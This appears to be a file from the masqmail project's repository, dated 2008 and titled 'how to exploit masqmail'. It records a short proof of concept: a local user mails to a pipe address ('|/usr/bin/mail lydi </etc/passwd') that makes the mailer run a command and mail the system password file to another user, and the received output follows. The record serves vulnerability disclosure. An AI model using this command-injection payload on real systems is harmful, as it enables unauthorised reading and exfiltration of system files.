view hardcopies/bin-mail-attack.txt @ 198:402db7e2ecc4

how to exploit masqmail :-(
author meillo@marmaro.de
date Wed, 31 Dec 2008 14:04:35 +0100
parents
children
line wrap: on
line source

test$ mail '|/usr/bin/mail lydi </etc/passwd'
Subject: the password file
hey hey jippee, here's your present :-)
.
Cc:
test$




lydi$ mail
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/lydi": 1 message 1 new
>N  1 test@dream         Wed Dec 31 11:12   46/1910
&
Message 1:
From <test@dream> Wed Dec 31 11:12:45 2008
Envelope-to: <lydi@dream>
To: lydi
From: <test@dream>
Date: Wed, 31 Dec 2008 11:12:45 +0100

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
.
.
.
test:x:1001:1002:test,,,:/home/test:/bin/bash
lydi:x:1002:1003:lydi,,,:/home/lydi:/bin/bash

&